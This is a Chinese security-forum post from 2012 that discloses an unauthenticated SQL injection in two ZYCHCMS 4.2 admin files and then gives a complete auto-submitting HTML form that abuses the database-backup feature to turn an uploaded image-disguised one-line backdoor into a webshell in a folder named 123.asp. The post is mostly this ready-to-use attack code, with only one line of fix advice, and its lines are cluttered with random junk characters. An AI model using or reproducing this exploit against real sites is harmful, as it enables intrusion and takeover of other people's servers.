找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1739|回复: 0
打印 上一主题 下一主题

ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-10 21:09:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
; ]  c* [1 I1 y4 _, d7 P' v

1 T* o! M# N+ S: e# n5 f; o1 l( h2 p( H9 j3 i* p
7 Z0 I9 j' g% J$ i2 f; F5 x6 K
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)5 t5 V4 Y6 M. v% F# ]7 C
①SQL注射漏洞
, t7 w8 r3 n) V 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp2 T! w; a8 }# J$ m
漏洞原因:未过滤
; H& Q2 ]: d+ s 漏洞代码:' a8 v+ [7 I; R/ K( u
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
  i2 _; L/ n- e0 d9 f 修复方法:在文件开头加入代码
4 s' `, S! k, b+ O1 V8 G7 P ' l# e$ e5 \# q$ g2 ]8 k
5 z  R. x- h4 ~$ {4 G& E: M. b! v
②后台拿WBSHELL5 ?' I& Q! R* P9 U5 b# q
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
) \7 C6 k5 X1 A& M- f9 Q: Y 这里在网上找了一个,改了下,将就着用。0 e3 H- H; D, _
以下是代码本地提交代码
& r, T4 l9 P( c; L2 _2 c# M
' U" |+ k! U5 s: q% p0 j0 a* [
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>( Y3 I- `- u3 }" J+ ?
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>4 ]- S0 J8 R5 ?7 i3 s
<tr>' D- c: X$ H+ e1 A7 L5 ^, v
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>9 B7 {# c( I+ j! ?% I
</tr>  ]3 p* x* u1 p
<tr>- ^! T7 r. `8 M6 O
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>3 K1 p' y, z0 I/ k
</span>
+ N/ b4 f: m0 S; x* _" l* J <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
7 ]* c2 e% ^5 b* W <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >$ d1 i1 a0 O2 X8 G9 J5 ~2 {
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
3 r) x; K4 ?3 Z <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d; W1 X. h! }! l3 o9 m2 ?+ ]+ O8 \
<div align=”left”>( S3 l* x8 Q: m6 u! t# m# `
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
. j9 g. y& G% F/ z/ d& ^ <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
# _8 R6 k  I; r$ f( u, _9 u <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
& G6 Q) d5 z) M" \# ?6 U </div></td>
, u  ^5 x; `, m' [! \, O) a( X </tr>5 k5 A3 ]) n( Q8 q
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>8 \" h, S4 Z  C4 M
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
0 W! ~; n- v5 o% Y4 [: } <td class=”td”><div align=”left”>: T" E( v+ m/ Y9 g  A
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
5 W( C& \) G2 i" D8 l" K/ g; Q [如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
: N$ d( L; W- u6 m! y( P </tr>
1 f5 S' r! ~* \; R <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
) i. K6 L8 j2 q' t8 P <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>5 [. Q8 o: m5 w1 ]; n* k5 [" s
<td class=”td”><div align=”left”>
, U! q' q( c5 _6 R# h <input type=”submit” value=”确定备份” class=”btn”
) L+ T, ?2 L8 P </div></td>7 n, w( t- H- j9 K
</tr>
3 P* O: |; ?# ?" y: ` </table></td></tr></form>
4 Q$ G- \, k" N+ m+ g3 s </table>; g& H: t+ b4 j# n# q* z, }
</td>! b$ `+ l% y2 a0 ^# Q/ i8 O8 D
</tr>  y& s) R5 q* g3 K
</table>7 u4 O8 D9 c/ W: l, c% o
<script>
4 G9 l# q9 ~0 w! s document.all.add.submit();% t0 K2 T$ W- O7 H* J/ V, }, e5 S+ d
</script>
; ~/ F8 Z% o3 S' P* r1 j. e
, I6 r% z4 ?$ S0 X+ O" ^( g4 H: E- C( z  T8 }
9 f+ D6 c0 L/ c* ~) {2 r" P2 M
* E2 H  o- n+ U& T

; @6 r$ E+ C, l% G# ?: Y  Y: w# ~3 t8 B+ l' @! S2 w
" l  \& e( e  x4 @2 g

4 i; ?+ d2 V6 h* g, @1 v$ P; F" s5 t( ?! f. e

4 i0 K: s0 k# L9 u1 ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表